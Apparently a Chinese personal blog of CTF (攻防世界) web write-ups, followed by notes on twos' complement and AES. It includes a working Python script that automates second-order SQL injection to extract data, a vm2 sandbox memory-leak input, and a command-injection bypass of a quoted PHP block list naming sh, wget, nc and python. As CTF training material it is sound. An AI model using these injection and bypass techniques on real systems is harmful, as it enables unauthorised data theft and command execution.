攻防世界 unfinish

攻防世界 unfinish

链接

unfinish

思路

下载软件AWVS扫描网站

存在漏洞猜想注册的sql语句为

insert into tables values(‘$email’,’$username’,’$password’)

存在二次注入,构造payload

username=0’+ascii(substr((select database()) from 1 for 1))+’0

写脚本自动化获取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
from bs4 import BeautifulSoup


def getDb():
dbName = ''
for i in range(10):
data1 = {
'username': "-'+ascii(substr((select database()) from "+str(i+1)+" \
for 1))+'-",
'password': '1',
"email": "temp@z.com"+str(i)
}
requests.post("http://111.200.241.244:54645/register.php", data=data1)
data2 = {
'password': '1',
"email": "temp@z.com"+str(i)
}
r = requests.post("http://111.200.241.244:54645/login.php", data=data2)
soup = BeautifulSoup(r.text, 'html.parser')
getUsername = soup.find_all('span')[0]
username = getUsername.text
if int(username) == 0:
break
dbName += chr(int(username))
return dbName


def getFlag():
flag = ''
for i in range(40):
data1 = {
'username': "-'+ascii(substr((select * from flag) from "+str(i+1)+" \
for 1))+'-",
'password': '1',
"email": "temp@zz.com"+str(i)
}
requests.post("http://111.200.241.244:54645/register.php", data=data1)
data2 = {
'password': '1',
"email": "temp@zz.com"+str(i)
}
r = requests.post("http://111.200.241.244:54645/login.php", data=data2)
soup = BeautifulSoup(r.text, 'html.parser')
getUsername = soup.find_all('span')[0]
username = getUsername.text
if int(username) == 0:
break
flag += chr(int(username))
return flag


print(getFlag())


攻防世界 bug

攻防世界 bug

链接

bug

思路

一开始看这个以为是sql注入

注册 带有\ ‘ “的账号会自动被添加转义符。以为是宽字节注入,但是并没有成功。

看wp。

利用的是逻辑上的漏洞,

找回密码的时候修改密码改一下用户名即可改掉admin的密码。

header加入X-Forwarded-For: 127.0.0.1

得到一个提示

do参数填入upload

是一个文件上传的题

攻防世界 lottery

攻防世界 lottery

链接

lottery

思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function buy($req){
require_registered(); // 检查session
require_min_money(2); // 检查余额

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++; // 关键
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); // 返回报文
}

尝试几次发现每次返回的都是数字,然而**$numbers[$i] == $win_numbers[$i]**比较的是所输入的numbers数组与生成的字符串中的每一个元素。当numbers数组每一个都为True的时候,非空且非’0’的字符会被转化为True进行比较所以True == True 从而必定正确。

攻防世界 leaking

攻防世界 leaking

链接

leaking

思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");

/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});

app.listen(3000, function() {
console.log("listening on port 3000!");
});

express模块是一个小规模web框架。

vm模块用于创建一个独立的沙箱运行空间,code内的代码可以访问外部的global对象,但是不能访问其他变量

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

直接输入?data=Buffer(1000)用文本查看即可看到flag

原码,反码,补码

原码,反码,补码

原码

以八位二进制为例

当原码被解释为有符号整数的时候第一个(从左往右)标识位为符号位,且0标识为正数,1标识为负数。

此时整数0有两种表示方式10000000-000000000+0

其范围为1111111101111111-127+127

反码

正数的反码即其本身。

负数的反码则是除符号位之外的位全部取反。

补码

正数的补码是自身

负数的补码为除符号位全部取反,随后加1。

杂项

计算机只有相加的运算,原码的计算当正数加负数的时候会加入符号位导致结果错误。

[1]原 + [(-1)]原 = [(-2)]原

反码解决这个问题但是无法解决0有正负两种表示。

补码则解决了这个问题。

当 [00000001]原 + [10000001]原

= [00000001]补 + [11111111]补

= [00000000]补 = [00000000]原 = 0

-1 - 127 = [10000001]原 + [11111111]原

​ = [11111111]补 + [10000001]补

​ = [10000000]补 表示-128 计算出来的原码是[10000000]原 也就是原码表示的-0

AES加密

AES

介绍

密码学中的高级加密标准(Advanced Encryption Standard,AES),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。

说明

AES和Rijndael加密法并不我完全一样,AES区块长度固定为128位,密钥长度可以是128,192或者256位。Rijndael加密法使用的密钥 >=128,<=256,%32==0。

加密过程

明文加密过程
密钥与明文

明文按byte进行划分,16个明文byte组成一个矩阵(state),16x8=128bits即AES一个block的大小。

红色的是密钥,结构和state相似,也是16x8=128bits,和block大小相同,被称为roundkey(轮密)其次,每一个round(轮函数)结束后,roundkey也会被修改,对应的修改算法/过程被称为密钥扩展算法(Key Expansion/Schedule)

逐字节替换
平移行
列混合

state与一个常数矩阵相乘

位或操作

state与密钥XOR

轮密迭代过程
平移列

roundkey是一个4X4的密钥byte矩阵,每一列被称作一个word(在state矩阵中也是一样,word=column)。这一步取出最后一个word,对这个word向上shift1个

只对最后一列操作,逐字节替换

完全类似SubBytes的操作:查S-box并进行byte替换。不同的是,对于state而言每一个byte都要查表;而roundkey只需要替换最后一个word的4个byte即可。

XOR1

第1个word(第一列)、经过上述两步操作后的最后1个word(第四列)和一个常量列向量RCON做XOR操作。RCON是一个常数项量

XOR2

roundkey的对应word和旧roundkey的上一个word做XOR操作。语言描述不直观,需要借助公式说明,放心,一点都不复杂。先记旧roundkey=K,有**K=[w_1, w_2, w_3, w_4],新roundkey=K’,有K’=[w’_1, w’_2, w’_3, w’_4]**。

w'_i = w'_i-1 XOR w_i, 1<i<=4

工作模式

ECB

每组结束后,直接把最终的state拼接就成了。简单,可并行。

CBC

参考链接

攻防世界 favorite_number

攻防世界 favorite_number

链接

favorite_number

思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}

$stuff === $array的绕过参考bug

stuff[4294967296]=admin&stuff[1]=user

preg_match("/^\d+$/im",$num)绕过,因为没有/g修饰符所以只匹配一个结果,所以使用%0a使得前面的一行匹配即可。

得到flag

请我喝杯咖啡吧~

支付宝
微信